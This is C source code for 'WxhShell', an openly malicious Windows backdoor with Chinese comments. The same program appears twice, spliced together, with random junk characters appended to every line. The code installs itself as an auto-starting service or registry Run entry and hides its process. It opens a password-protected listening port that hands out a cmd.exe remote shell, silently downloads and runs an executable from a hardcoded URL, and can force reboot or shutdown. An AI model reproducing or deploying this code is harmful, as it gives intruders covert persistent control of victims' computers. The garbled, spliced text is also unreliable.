    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8~Cmn%  
    if(Boot(SHUTDOWN)) u)@:V)z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $qD\ku;'  
    else { m23"xnRB  
    closesocket(wsh); `~XksyT  
    ExitThread(0); }e\"VhAl/  
    } 2!#g\"  
    break; #^}H)>jWy  
    } oU\]#e^  
  // 获取shell Rqe. =+Qs  
  case 's': { xfRp_;l+R  
    CmdShell(wsh); ^KhJBM/Z  
    closesocket(wsh); Y`g oV  
    ExitThread(0); :\^b6"}8  
    break; D ,kxB~  
  } #`iEbiSq  
  // 退出 Y 9$jJ1V  
  case 'x': { ~1O|4mssS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T]th3*  
    CloseIt(wsh); a_b#hM/c;  
    break; Fb{N>*l.  
    } $1.-m{Bd  
  // 离开 HVa9b;  
  case 'q': { V0;"Qa@q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7_\G|Zd  
    closesocket(wsh); !v8R(  
    WSACleanup(); WARiw[  
    exit(1); mG[jR*JW  
    break; 6 byeO&d  
        } bdL= ?KS  
  } VhO+nvd*W  
  } ^yW['H6V  
d6n_Hpxw^  
  // 提示信息 xJ>5 ol  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D!.c??   
} Y(UK:LZ'  
  } ,`f]mv l  
in>+D|q c  
  return; , >7PG2 a  
} L3b0e_8>R  
(OiV IH  
// shell模块句柄 CnZ!b_J  
int CmdShell(SOCKET sock) cN@_5  
{ 2;gvo*k  
STARTUPINFO si; 'KH+e#?Ar  
ZeroMemory(&si,sizeof(si)); 7Fj8Mp|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y_CYx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f1vD{M ;  
PROCESS_INFORMATION ProcessInfo; U p@^C"  
char cmdline[]="cmd"; eha|cAq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +u|"q+p  
  return 0; Ar<5UnT  
} 9J/[7TzSZ  
YE`Y t  
// 自身启动模式 7qqzL_d>  
int StartFromService(void) 8KJUC&`  
{ :i&]J$^;  
typedef struct ,7d/KJ^7  
{ F^GNOD3J  
  DWORD ExitStatus; $b`nV4p  
  DWORD PebBaseAddress; Ch]d\GM  
  DWORD AffinityMask; +zh\W9  
  DWORD BasePriority; UVux[qX<  
  ULONG UniqueProcessId; Ph yIea  
  ULONG InheritedFromUniqueProcessId; Gwk$<6E  
}   PROCESS_BASIC_INFORMATION; ,8r?C!m]  
Jg$<2CR&  
PROCNTQSIP NtQueryInformationProcess; YrnC'o`  
DgT]Nty@b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5Npxs&Ea  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]hV!lG1_  
UOb` @#  
  HANDLE             hProcess; ]@ruizb8  
  PROCESS_BASIC_INFORMATION pbi; W5Jw^,iPd  
#1-WiweO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K 4GuOl  
  if(NULL == hInst ) return 0; o8X_uKEI  
ht>%O7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q/g!h}>(.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y'm!h?8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p6%Vf  
O14QlIk  
  if (!NtQueryInformationProcess) return 0; Z"VP<-  
U~D~C~\2;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0B(s+#s  
  if(!hProcess) return 0; h/n(  
fG1iq<~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; # >k|^*\  
qb[hKp5K6  
  CloseHandle(hProcess); IL|Q-e}Ol  
Lf(( zk:pt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3RaW\cWzg  
if(hProcess==NULL) return 0; _^W;J/He  
A,F~*LXm  
HMODULE hMod; qFWN._R  
char procName[255]; Srx:rUCv  
unsigned long cbNeeded; x|m9?[ !_  
> -OOU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6FzB-],  
^2- <XD)  
  CloseHandle(hProcess); WO.u{vW]'  
VgVDTWs7  
if(strstr(procName,"services")) return 1; // 以服务启动 Qa,=  
G%sq;XT61  
  return 0; // 注册表启动 :^ywc O   
} o MJ `_  
Go{,< gm  
// 主模块 fJlNxdVr  
int StartWxhshell(LPSTR lpCmdLine) S L 5k^|  
{ G:1d6[Q5{  
  SOCKET wsl; ": vGs_$  
BOOL val=TRUE; y@!M<#SEzG  
  int port=0; 0Agse)  
  struct sockaddr_in door; <yipy[D  
F ,472H  
  if(wscfg.ws_autoins) Install(); >OaD7  
d@ K-ZMq  
port=atoi(lpCmdLine); O2>c|=#  
WGz)-IB!PE  
if(port<=0) port=wscfg.ws_port; k&ooV4#f6  
]qqgEZ1!Y  
  WSADATA data; "`ftcJUd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kQmkS^R  
e ymv/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p XXf5adl<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b7>'ARdbzX  
  door.sin_family = AF_INET; r>(,)rs(l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -Fd&rq:GB(  
  door.sin_port = htons(port); l L;5*@  
Nbr$G=U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4fs d5#  
closesocket(wsl); 'yPKQ/y$x  
return 1; 9 " q-Bb  
} hY.i`sp*/  
3q'AgiW  
  if(listen(wsl,2) == INVALID_SOCKET) { Ysu\CZGX  
closesocket(wsl); _e@8E6#ce  
return 1; fz^j3'!\  
} $Wj= V  
  Wxhshell(wsl); }T4|Kyu?  
  WSACleanup(); }PJsPIa3j  
l\W|a'i  
return 0; RKP, w %  
.yy-jf/  
} ?C[?dg{n  
 E4eX fu  
// 以NT服务方式启动 14 & KE3`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \<pr28  
{ v\,N"X(,  
DWORD   status = 0; 'O(=Pz  
  DWORD   specificError = 0xfffffff; Gt.'_hf Js  
wNHn.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Fs~(>w@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 83c2y;|8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QP%_2m>yhl  
  serviceStatus.dwWin32ExitCode     = 0; r+bGZ  
  serviceStatus.dwServiceSpecificExitCode = 0; -~{Z*1`,  
  serviceStatus.dwCheckPoint       = 0; O#U maNj/  
  serviceStatus.dwWaitHint       = 0; ."+lij=56  
~gpxK{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Kd-1EU  
  if (hServiceStatusHandle==0) return;  )bF l-  
rk8pL[|  
status = GetLastError(); N; }$!sNIm  
  if (status!=NO_ERROR) ZwDL  
{ I&+.IK_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 96^aI1:  
    serviceStatus.dwCheckPoint       = 0; lndz  
    serviceStatus.dwWaitHint       = 0; N_T5sZ\  
    serviceStatus.dwWin32ExitCode     = status; ~`AB-0t.u  
    serviceStatus.dwServiceSpecificExitCode = specificError; w~u{"E$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dQ8RrD=$&  
    return; U:TkO=/>:  
  } {T-\BTh&Q  
Qx4)'n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :gV~L3YW5  
  serviceStatus.dwCheckPoint       = 0; &DMC\R*j  
  serviceStatus.dwWaitHint       = 0; S=k!8]/d|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y$L` G  
} +fk*c[FG  
7z$Z=cs  
// 处理NT服务事件,比如:启动、停止 2{h2]F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C*2%Ix18+N  
{ t.ulG *  
switch(fdwControl) M>i(p%  
{ tQ9%rb  
case SERVICE_CONTROL_STOP: aLh(8;$  
  serviceStatus.dwWin32ExitCode = 0; sYS 8]JU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #p(c{L!  
  serviceStatus.dwCheckPoint   = 0; t,9+G<)>H  
  serviceStatus.dwWaitHint     = 0; 2V@5:tf  
  { Y_Gd_+oJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =v<w29P(g  
  } YcA. Bn|as  
  return; XKTDBaON  
case SERVICE_CONTROL_PAUSE: */e$S[5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "0!h- bQN  
  break; dCoP qKy  
case SERVICE_CONTROL_CONTINUE: 9Rk(q4.OP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dT0W8oL  
  break; sLA.bp.O  
case SERVICE_CONTROL_INTERROGATE: 4<($ZN8  
  break; +S{m!j%B  
}; zls^JTE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zdwQpB,+^  
} @m5J%8>k  
:=hL}(~]  
// 标准应用程序主函数 Yd3lL:M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iTinZ!Ut  
{ fJ/INL   
j9k:!|(2'  
// 获取操作系统版本 9Vm aB  
OsIsNt=GetOsVer(); &MpLm&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gg`{kN^r.a  
pl>b 6 |  
  // 从命令行安装 {O>Td9  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9^!.!%6O$  
9YI@c_1 Q  
  // 下载执行文件 ;((t|  
if(wscfg.ws_downexe) { 'KjH|u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g}hUCx(  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1#x5 o2n  
} %O9Wm_%  
~S('\h)1  
if(!OsIsNt) { ^Z)7Z% O  
// 如果时win9x,隐藏进程并且设置为注册表启动 *R+M#l9D`  
HideProc(); 1< vJuF^  
StartWxhshell(lpCmdLine); wxHd^b  
} X.#*+k3s0  
else !ldEy#"X  
  if(StartFromService()) _qE9]mU  
  // 以服务方式启动 F qJ`d2E  
  StartServiceCtrlDispatcher(DispatchTable); D N!V".m`J  
else B5 /8LEWw  
  // 普通方式启动 "1gIR^S%9  
  StartWxhshell(lpCmdLine); s#5#WNzP  
"=Z=SJ1D  
return 0; h~Ir= JV  
} |$/#,Dv7  
)s>|;K{  
`mcb0  
Ei:m@}g  
=========================================== nN&dtjoF  
fa]8v6  
bDDP:INm.  
Y"t|0dO%b  
(^~a1@f,J  
K_+M?ap_  
" <,DMD  
t? &;   
#include <stdio.h> aO$0[-A  
#include <string.h> +On2R&m  
#include <windows.h> imADjBR]  
#include <winsock2.h> 1CJ1-]S(3  
#include <winsvc.h> Lf9s'o}.R  
#include <urlmon.h> jy~hLEt7  
NCg("n,jx  
#pragma comment (lib, "Ws2_32.lib") 2XyyU}.$  
#pragma comment (lib, "urlmon.lib") Bj{J&{  
|34k;l]E  
#define MAX_USER   100 // 最大客户端连接数 2. nT k   
#define BUF_SOCK   200 // sock buffer |m\7/&@<  
#define KEY_BUFF   255 // 输入 buffer " :e <a?  
c*#$sZ@YA  
#define REBOOT     0   // 重启 d0T 8Cwc b  
#define SHUTDOWN   1   // 关机 .?#Q(eLj  
jA^yUd-  
#define DEF_PORT   5000 // 监听端口 N#-%b"(  
-5e8m4*  
#define REG_LEN     16   // 注册表键长度 L2Cb/!z`c  
#define SVC_LEN     80   // NT服务名长度 !]R>D{""  
B0RVtbK  
// 从dll定义API v"2A?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ipu~T)}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A PSkW9H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,&,XcbJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _H U>T  
{6LS$3}VM  
// wxhshell配置信息 6 [bQ'Ir^8  
struct WSCFG { N\ <riS9  
  int ws_port;         // 监听端口 }qGd*k0F0  
  char ws_passstr[REG_LEN]; // 口令 wy|b Hkr_  
  int ws_autoins;       // 安装标记, 1=yes 0=no }cUO+)!Y  
  char ws_regname[REG_LEN]; // 注册表键名 qCVb-f  
  char ws_svcname[REG_LEN]; // 服务名 ]hlQU%&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -A L^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D Q4O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7&etnQJ{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no CNV^,`FX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  {y{O ze  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mb_6f:Qh3  
DIYR8l}x  
}; "&qAV'U  
S^1ZsD.  
// default Wxhshell configuration ??Urm[Y.Z  
struct WSCFG wscfg={DEF_PORT, a"}ndrc*  
    "xuhuanlingzhe", ]/p>p3@1C  
    1, EFU)0IAL[  
    "Wxhshell", -m ,Y6  
    "Wxhshell", j7Zv"Vq@  
            "WxhShell Service", h+_:zWU  
    "Wrsky Windows CmdShell Service", `}ZtK574  
    "Please Input Your Password: ", 18~jUYMV  
  1, 9h+T O_T@F  
  "http://www.wrsky.com/wxhshell.exe", >BJBM |  
  "Wxhshell.exe" 'o= DGm2H  
    }; ',+Zqog92  
~mHrgxQ-  
// 消息定义模块 0T@axQ[%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z2R?GQ5 A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; + i /4G.=*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Bvj  
char *msg_ws_ext="\n\rExit."; U$@}!X  
char *msg_ws_end="\n\rQuit."; c=-qbG0`  
char *msg_ws_boot="\n\rReboot..."; 1 "t9x.  
char *msg_ws_poff="\n\rShutdown..."; 8YPX8d8u  
char *msg_ws_down="\n\rSave to "; ( ?e Et&  
[g@Uc  
char *msg_ws_err="\n\rErr!"; ifWQwS/,a  
char *msg_ws_ok="\n\rOK!"; 1uyd+*/(xP  
_b)Ie`a.H  
char ExeFile[MAX_PATH]; ;*Mr(#R  
int nUser = 0; !gsrPM  
HANDLE handles[MAX_USER]; ^!O!HMX0  
int OsIsNt; a&kt!%p:  
B$OV^iwxK  
SERVICE_STATUS       serviceStatus; 6 %`h2Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $Ups9pQ  
CG35\b;Q  
// 函数声明 =Y^K   
int Install(void); U0W2  
int Uninstall(void); S6JWsi4C:,  
int DownloadFile(char *sURL, SOCKET wsh); ]:n9MFv  
int Boot(int flag); );S8`V  
void HideProc(void); b"Nd8f[  
int GetOsVer(void); Om;` "5  
int Wxhshell(SOCKET wsl); W}k/>V_  
void TalkWithClient(void *cs); hVz]' ,  
int CmdShell(SOCKET sock); qm9=Ga5  
int StartFromService(void); D#,A_GA{A  
int StartWxhshell(LPSTR lpCmdLine); `PLax@]2  
XE0b9q954  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); re4z>O*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @tRDKPh  
3C;;z  
// 数据结构和表定义 zII^Ny8D  
SERVICE_TABLE_ENTRY DispatchTable[] = rNm_w>bq  
{ L6jwJwD  
{wscfg.ws_svcname, NTServiceMain}, Ai:, cY5%  
{NULL, NULL} -U7,~z  
}; |rgPHRX^Hn  
PgP\v-.  
// 自我安装 1=X1<@*  
int Install(void) qx0F*EH|  
{ A[F@rUZp  
  char svExeFile[MAX_PATH]; 0a!|*Z  
  HKEY key; W8-vF++R  
  strcpy(svExeFile,ExeFile); t3v_o4`&  
s`yg?CR`,  
// 如果是win9x系统,修改注册表设为自启动 N]ebKe  
if(!OsIsNt) { WXf[W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]X X>h~0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {EVy.F  
  RegCloseKey(key); %n,_^voE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DHvZ:)aT}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A&jR-%JG  
  RegCloseKey(key);  e?o/H  
  return 0; _Wp.s]D [  
    } " w /Odd  
  } 4,=;:#n,J  
} ZBQ@S  
else { 1bDXv, nD  
>C5u>@%9O  
// 如果是NT以上系统,安装为系统服务 k|jr+hmn":  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tQ.H/;  
if (schSCManager!=0) kf95)iLo  
{ ExFz@6@  
  SC_HANDLE schService = CreateService "d0D8B7HI@  
  ( |WT]s B0Eq  
  schSCManager, & \C1QkI  
  wscfg.ws_svcname, j]mnH`#BL  
  wscfg.ws_svcdisp, _Db&f}.`  
  SERVICE_ALL_ACCESS, Z;;A#h'%e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V1Gnr~GM  
  SERVICE_AUTO_START, aM_O0Rn==  
  SERVICE_ERROR_NORMAL, ^ME'D  
  svExeFile, "F Etl(  
  NULL, .rX,*|1x  
  NULL, ,sg\K> H=  
  NULL, [4yw? U  
  NULL, P*ZMbAf.  
  NULL =L?2[a$2;  
  ); ^oE#;aS  
  if (schService!=0) u2[L^]|  
  { d+ [2Sm(7  
  CloseServiceHandle(schService); ZC^NhgX  
  CloseServiceHandle(schSCManager); PH^Gjm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (bB"6 #TI  
  strcat(svExeFile,wscfg.ws_svcname); e)XnS'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^/}&z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *.T?#H  
  RegCloseKey(key); )tS;gn  
  return 0; R`Hy0;X  
    }  BJg  
  } 8WKY 4nkj  
  CloseServiceHandle(schSCManager); lO0}  
} E},zB*5TH  
} gr@Ril^  
I;G(Wj  
return 1; j^hLn >  
} 0fqycGSmU  
'C>sYSL  
// 自我卸载 V:+z3)qF  
int Uninstall(void) 2,|;qFJY-@  
{ qN Ut&#  
  HKEY key; H_aG\  
(I+e@UUiL  
if(!OsIsNt) { pEW~zl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vWa\8yf  
  RegDeleteValue(key,wscfg.ws_regname); 4_$.gO  
  RegCloseKey(key); K7nyQGS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { > +00[T  
  RegDeleteValue(key,wscfg.ws_regname); _]eyt_  
  RegCloseKey(key); qmvQd8|XR  
  return 0; hp2$[p6O  
  } h b8L[ 4  
} y3PrLBTz  
} {9^p3Q+:P  
else { q)AX*T+  
0y+i?y 9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2n-kJl`: O  
if (schSCManager!=0) h[<l2fy  
{ aEVy20wd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); } .<(L  
  if (schService!=0) Ji6.-[:  
  { Zp9kxm'  
  if(DeleteService(schService)!=0) { >6)|># Wi  
  CloseServiceHandle(schService); lJT"aXt'M  
  CloseServiceHandle(schSCManager); 7;&,L H  
  return 0; Sn' +~6i  
  } L1y71+iqU  
  CloseServiceHandle(schService); Vobq|Rd/%  
  }  =+q\Jh  
  CloseServiceHandle(schSCManager); j5]ul!ji  
} Y4_xV&   
} /?Mr2!3N  
Y hC|hDC  
return 1; l@-h.tS  
} (=EDqAZg  
>vO+k^'Y  
// 从指定url下载文件 JZ&_1~Z=  
int DownloadFile(char *sURL, SOCKET wsh) aeAx0yE[p  
{ cL~YQJYp  
  HRESULT hr; Tf? `_jL  
char seps[]= "/"; !_B*Po  
char *token; -*Th=B-  
char *file; 9QL%q; #  
char myURL[MAX_PATH]; Zs,6}m\  
char myFILE[MAX_PATH]; WJ[>p ELT,  
4%I[.dBnM  
strcpy(myURL,sURL); SQ/HZ  
  token=strtok(myURL,seps); ,xAF=t  
  while(token!=NULL) #VVfHCy  
  { \<G"9w  
    file=token; ErQ6a%~,  
  token=strtok(NULL,seps); UP%6s:>:  
  } "^;h'  
.0~uM!3y  
GetCurrentDirectory(MAX_PATH,myFILE); i$<")q  
strcat(myFILE, "\\"); ou<,c?nNM  
strcat(myFILE, file); ;Me*# /  
  send(wsh,myFILE,strlen(myFILE),0); ;K%/s IIke  
send(wsh,"...",3,0); Q;A\M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {t!7r_hj  
  if(hr==S_OK) %/5Wj_|p  
return 0; _mwt{D2r}  
else Vo6g /h?`  
return 1; n\f]?B(  
9\/oL{  
} qPN9Put  
)feZ&G]  
// 系统电源模块 n=AcN  
int Boot(int flag) 2i1xSKRYrD  
{ &ODo7@v`1  
  HANDLE hToken; bSz7?NAp  
  TOKEN_PRIVILEGES tkp; lBAu@M  
a60rJ#GD  
  if(OsIsNt) { HXztEEK6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $ ]#WC\Hv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); GNq f  
    tkp.PrivilegeCount = 1; |r36iUHZS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Jmi,;Af'/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {<Gp5j  
if(flag==REBOOT) { Au}l^&,zN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (Cfb8\~  
  return 0; ={V@Y-5T  
} b78~{h t`  
else { !2Z"Lm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6)P.wW  
  return 0; /F(n%8)Yq  
} Gn_DIFa  
  } 1 <+aF,  
  else { kc't  
if(flag==REBOOT) { uLWu. Vx  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :zLf~ W  
  return 0; 5g/,VMe  
} y_=y%  
else { D&D6!jz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |?8nO.C~V  
  return 0; J ou*e%  
} r~ 2*'zB  
} $sE=[j'v  
Qz#By V:  
return 1; b \ln XN  
} a%`%("g!  
"QxULiw  
// win9x进程隐藏模块 {7z]+h  
void HideProc(void) J:Qx5;b;  
{ 3IlVSR^py  
NR1M W^R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3Z=yCec]  
  if ( hKernel != NULL ) D5snaGss9a  
  { x5BS|3W$a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4Z~ nWs  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7Y(Dg`8G  
    FreeLibrary(hKernel); 5)lcgvp  
  } e&d$kUJrq  
9n{Y6I x:  
return; C9sU^ ]#F  
} A#T"4'#?<  
3zD#V3 =  
// 获取操作系统版本 wGKxT ap  
int GetOsVer(void) 1J"I.  
{ Af]zv~uM  
  OSVERSIONINFO winfo; &l1t5 !  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =-fM2oiI:  
  GetVersionEx(&winfo); d\]KG(T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <KU 0K  
  return 1; L,y q=%h|  
  else * $fM}6}  
  return 0; M?" 4 {  
} yVmp,""a  
ISs&1`Y  
// 客户端句柄模块 x-CjxU3  
int Wxhshell(SOCKET wsl) jeRE(3'Q  
{ bXF8V  
  SOCKET wsh; 9u{[e"  
  struct sockaddr_in client; w+ !c9  
  DWORD myID; oOpEpQ}}q  
C?gqX0[ q  
  while(nUser<MAX_USER) zMbFh_dcq  
{ v9:J 55x  
  int nSize=sizeof(client); MLHCBRi  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); AYfOETz  
  if(wsh==INVALID_SOCKET) return 1; Cy$~H  
[#uhMn^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )H W   
if(handles[nUser]==0) m 1; Htw  
  closesocket(wsh); ^7aqe*|vm  
else ?5nEmG|kO  
  nUser++; [S,$E6&j$"  
  } |w|c!;,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pS+w4gW  
?;~E*kzO&  
  return 0; qP#LJPaS  
} ~Yk^(hl2  
x;u#ec4  
// 关闭 socket XYWyxx5`  
void CloseIt(SOCKET wsh) lOVcXAe}  
{ uK"  T~  
closesocket(wsh); 6I"KomJ9  
nUser--; / e>%yq<9B  
ExitThread(0); Ip{R'HG/  
} j;`Q82V\  
IsI5c  
// 客户端请求句柄 U| Fqna  
void TalkWithClient(void *cs) 3xs<w7  
{ MQwxQ{  
\KhcNr?ja=  
  SOCKET wsh=(SOCKET)cs; i-v: %  
  char pwd[SVC_LEN]; >JE+j=  
  char cmd[KEY_BUFF]; ;99oJD,  
char chr[1]; ~@c<5 -`{  
int i,j; s oY\6mHio  
hxL?6mhY  
  while (nUser < MAX_USER) { .?6p~  
GO"|^W  
if(wscfg.ws_passstr) { ,1mL=|na  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *xNc^ &.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1}\p:`  
  //ZeroMemory(pwd,KEY_BUFF); 4u}Cki,vOK  
      i=0; =_-u;w1D  
  while(i<SVC_LEN) { 2QaE&8vW  
~_EDJp1J  
  // 设置超时 ]`$yY5&W0  
  fd_set FdRead; h s',f  
  struct timeval TimeOut; Zu|NF uFI  
  FD_ZERO(&FdRead); J;_4 3eS  
  FD_SET(wsh,&FdRead); AA=Ob$2$  
  TimeOut.tv_sec=8; i RrUIWx  
  TimeOut.tv_usec=0; vGv<WEE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~7ZZb*].(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zG_nx3  
c_vGr55  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rlKR <4H  
  pwd=chr[0]; Y ]()v  
  if(chr[0]==0xd || chr[0]==0xa) { [M[#f&=Z  
  pwd=0; jOfG}:>e\  
  break; 6ncwa<q5  
  } e& `"}^X;I  
  i++; _:9}RT?  
    } >} 2C,8N  
ys=} V|  
  // 如果是非法用户,关闭 socket D?_K5a&v,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "G@K(bnHn  
} eB#I-eD  
$}su 'EIo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nIg 88*6b,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +w]#26`d  
Cik1~5iF  
while(1) { As46:<!2  
<w^u^)iLy1  
  ZeroMemory(cmd,KEY_BUFF); D{JjSky  
l-%] f]>  
      // 自动支持客户端 telnet标准   r gIWM"  
  j=0; 9 ~W]D!m,  
  while(j<KEY_BUFF) { +45SKu=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c~(61Sn]  
  cmd[j]=chr[0]; 3&})gU&a  
  if(chr[0]==0xa || chr[0]==0xd) { GxzO|vFQ  
  cmd[j]=0; phH@{mI  
  break; x,mt}>  
  } ,1~zYL?  
  j++; kV1L.Xg  
    } hdw.S`~}%  
'=$`NG8 l  
  // 下载文件 mce qZv  
  if(strstr(cmd,"http://")) { :^kAFLU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wIi(\]Q  
  if(DownloadFile(cmd,wsh)) E$ \l57  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [E p'm  
  else rEWJ3*Hb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "yQBHYP  
  } ;av!fK  
  else { 129\H< m  
